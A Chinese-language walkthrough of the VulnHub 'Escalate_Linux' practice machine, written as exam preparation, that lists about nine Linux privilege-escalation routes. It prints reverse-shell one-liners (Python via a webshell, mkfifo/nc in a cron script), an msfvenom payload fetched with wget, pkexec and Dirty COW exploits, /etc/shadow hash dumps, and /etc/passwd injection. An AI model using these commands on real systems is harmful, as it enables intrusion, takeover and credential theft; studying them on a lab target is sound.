我又来拔 flag了,忘了多久之间收在收藏夹里的靶机了… 之前一直想着汇总一下 linux 提权点,一直忘了,直到最近在备考 PTS,老师讲的没有给练习环境,然后有的点也没覆盖到,就想起这台尘封已久的靶机了,刚好可以巩固一下~
靶机链接:https://www.vulnhub.com/entry/escalate_linux-1,323/
先更改一下网络模式,默认为自动检测,我这里使用NAT,模拟真实环境中只知道某个网段不知具体IP情景
信息收集
扫描存活
1 | ❯ nmap -sP 192.168.192.128/24 |
访问 192.168.192.144 为 apache ubuntu 的默认页面,与靶机介绍相符合
目录扫描发现 shell.php
1 | http://192.168.192.144/shell.php |
端口扫描发现
1 | ❯ sudo nmap -p- -sS 192.168.192.144 --min-rate 1000 |
获取低权限
命令执行,并发现出网
1 | http://192.168.192.144/shell.php?cmd=whoami |
反弹个shell
1 | http://192.168.192.144/shell.php?cmd=export RHOST="xxx.xxx.xxx.xxx";export RPORT=2233;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")' |
权限提升 (1)
PEASS-ng 信息收集
跑一下 https://github.com/carlospolop/PEASS-ng
- sudo 1.8.21p2
- CVE-2021-4034
- mysql root/root 密码已知 可尝试提权,但数据库是mysql用户启动
- user3和user7 在 root 组
- -rw-r–r– 1 root root 423 Jun 4 2019 /etc/exports
/home/user5 *(rw,no_root_squash) - 当前用户可写文件
/home/user3/.script.sh
0x01 suid提权
suid文件查找
1 | find / -perm -u=s -type f 2>/dev/null |
结果
1 | /sbin/mount.nfs |
直接运行 /home/user3/shell
提示
1 | sh: 1: ./.script.sh: not found |
切换至 /home/user3
目录在执行即可提权至root
1 | cd /home/user3 && ./shell |
0x02 滥用root权限 + 环境变量提权
运行 /home/user5/script
,看着像是 ls
命令的功能,通过Ghidra反编译一下,在Symbol Tree窗口,打开 Exports 项,一般入口函数是 main 或者 entry,原来 script
程序是通过root权限执行ls命令
1 | undefined8 main(void) |
但这里没有指定绝对路径,也就是说系统通过环境变量去获取的执行路径,只要我们新建一个ls脚本,把环境路径优先检索我们设置的目录,就可以执行我们想执行的操作了。
1 | export PATH=/tmp:$PATH |
0x03 CVE-2021-4034 (pkexec) 提权
这个漏洞影响范围挺广的
1 | # wget xxx/CVE-2021-4034-main.zip > /tmp/CVE-2021-4034-main.zip |
0x04 NFS提权
1 | cat /etc/exports |
发现没有限制root权限用户的远程访问
先远程挂在到本地
1 | mount -o rw 192.168.192.144:/home/user5 /Users/tari/Test/tmp |
mac下但返回权限不足
1 | mount_nfs: can't mount /home/user5 from 192.168.192.144 onto /Users/tari/Test/tmp: Operation not permitted |
然后 linux下通过 root 权限执行
1 | mount -t nfs 192.168.192.144:/ /mnt -o nolock |
我们切换到目录下新建一个C文件
1 | cd /mnt/home/user5 |
内容如下(即以root权限执行 /bin/bash
)
1 |
|
编译,并赋予 suid 权限
1 | gcc elevate.c |
然后到需要提权的机器上执行这个文件即可
1 | /home/user5/a.out |
0x05 MSF 提权
先上线 msf
- 攻击机
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=2233 -f elf > msf |
msfconsole
1 | use exploit/multi/handler |
- 受害者
1 | wget http://xxxx/msf && chmod +x msf && ./msf |
- 攻击机 msfconsole
1 | bg |
mac 下不知为啥一个都没,kali 正常
1 | [*] 192.168.192.144 - Collecting local exploits for x64/linux... |
利用,这里只成功利用了 exploit/linux/local/sudo_baron_samedit
(target 5 是可以的,target 4 不行,其他没试)
1 | use exploit/linux/local/sudo_baron_samedit |
脏牛提权(失败)
https://github.com/FireFart/dirtycow
1 | curl http://xxxx/dirty.c > /tmp/dirty.c |
试了两次,用户都没有创建成功
权限维持
用户密码爆破
1 | cat /etc/shadow |
各个用户哈希
1 | root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7::: |
通过 john 去爆破
root 密码爆破出来了,其他爆不出来
权限提升 (2)
到这里,能通过 webshell 直接去提权的方式已经用的差不多了,有其他方式欢迎大佬们补充~
0x06 mysql 信息泄漏
通过 PEASS-ng 发现 mysql 密码为 root,连进去发现 user库user_info表存着mysql的密码
通过 /etc/passwd
得知mysql用户是可登陆的,猜测这个密码是mysql用户的登录密码
查找一下该用户的所属文件
1 | find / -user mysql |
发现 /var/mysql
目录下有点有意思的文件,特别是这个
1 | ---------- 1 mysql mysql 126 Jun 6 2019 .user_informations |
给一下权限
1 | chmod +r .user_informations |
发现了类似其他用户的密码,尝试切换可成
另外一个敏感文件 /etc/mysql/secret.cnf
发现 root 密码,不过 root 密码不是 12345 嘛..
1 | chmod +r /etc/mysql/secret.cnf |
0x07 crontab 提权
登陆至 user4
1 | cat /etc/crontab |
查看定时任务发现每隔5分钟以root权限执行 /home/user4/Desktop/autoscript.sh
脚本
更改 autoscript.sh 为(这里直接 bash -i 反弹会提示 fd 不存在, nc -e 提示没有 -e 参数)
1 | echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc xx.xx.xx.xx 2234 >/tmp/f' > /home/user4/Desktop/autoscript.sh |
过5分钟即会反弹一个root的shell回来
0x08 sudoers 提权 1
user8,运行
1 | sudo -l |
发现可以免密通过 vi
命令执行root权限操作
随便 vi 一个文件
1 | sudo vi test |
0x09 root组用户提权至root
登陆至 user7
查看 /etc/passwd 文件权限发现同组可写
1 | ls -l /etc/passwd |
先备份一下 cp /etc/passwd .
然后写入一个 root 用户 id 等信息至 /etc/passwd 然后切换即可
1 | cp /etc/passwd . |
user4 也是属于 root 组的,也可以这样做
sudoer 提权 2
登陆user2
1 | sudo -l |
发现可接管 user1 用户,这个用户在没在 mysql 泄漏的密码中
1 | sudo -u user1 /bin/bash |
切换后继续看特权命令 sudo -l
可直接提权至 root
总结
至此,所有用户的提权方式已经覆盖的完了,靶机简介说是有 12+ 种提权方式,不过我这里不重复的提权方式是9种。
发现靶机刚好是用 apache,顺便补充一种 sudo 滥用下的 apache 任意文件查看[4]
1 | sudo apache2 -f /etc/shadow |
这个靶机没安装这个模块,所以返回 AH00534: apache2: Configuration error: No MPM loaded.
整体来看,Linux 提权相关的还是挺全了,还不错的靶机。
参考
[1] https://ethicalhackingguru.com/escalate_linux-walkthrough/
[2] https://my.oschina.net/u/4196756/blog/4645765
[3] https://blog.katastros.com/a?ID=01600-b3c56dca-ab08-47e3-86f9-98b83a76d366